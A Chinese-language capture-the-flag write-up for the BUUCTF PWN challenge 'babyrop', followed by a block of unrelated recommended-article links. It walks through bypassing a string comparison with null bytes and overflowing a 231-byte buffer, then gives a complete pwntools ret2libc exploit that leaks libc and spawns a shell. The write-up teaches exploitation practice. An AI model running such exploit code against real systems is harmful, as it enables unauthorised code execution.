BUUCTF|【BUUCTF - PWN】babyrop PWN|-

【BUUCTF|【BUUCTF - PWN】babyrop】checksec一下，可以栈溢出

文章图片

IDA打开看看，读取随机数作为参数传入函数中

文章图片

读取输入，进行字符串比较，不同则退出，相同则返回输入的第8个字节，可以通过输入 \0 绕过字符串比较

文章图片

返回的字节作为read的长度，buf只有231字节，可以通过传入255来栈溢出，然后就是标准的ret2libc了

文章图片

from pwn import * from LibcSearcher import *context.os='linux' context.arch='i386' context.log_level='debug'sl=lambda x:io.sendline(x) rl=lambda :io.recvline()io=remote('xxx',xxx) elf=ELF('./pwn') libc=ELF('./libc-2.23.so')main=0x8048825payload='\0'*7+'\255' sl(payload) rl() payload='a'*(0xe7+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['write'])+p32(4) sl(payload) write_addr=u32(io.recv(4)) libc_addr=write_addr-libc.sym['write'] payload='\0'*7+'\255' sl(payload) rl() payload='a'*(0xe7+4)+p32(libc_addr+libc.symbols['system'])+p32(0)+p32(libc_addr+libc.search('/bin/sh\0').next()) sl(payload)io.interactive()

附件：babyrop

BUUCTF|【BUUCTF - PWN】babyrop

推荐阅读

怎么利用谷歌找外贸客户？搜索指令是什么？

日念一好

华为畅享9plus怎么长截屏（华为畅享9plus如何长截屏）

宝宝咳嗽厉害怎么缓解

领克03新能源什么时候上市

vue|vue 使用vuex在页面跳转的实现方式

永远的7日之都小樱强度评测透明牌魔法师小樱评测

联觉也被称为什么,它是由一种感觉联觉也被称为什么

这一届毕业生太难了

朋友圈早安特别暖的文案朋友圈每日一句早安暖心话

成都做人流最好的医院

最高检贷款诈骗罪的司法解释规定有什么内容

指压板有什么功效

描写风大的四字词语

这几类人群吃黑蒜要谨慎

冠脉支架|国家集采冠脉支架落地受益患者点赞

青羊区政务服务中心搬迁青羊区政务中心

糯米斩肉怎么做糯米肉怎么做的

什么样的年龄段适合什么面膜呢

我的世界蛋糕图片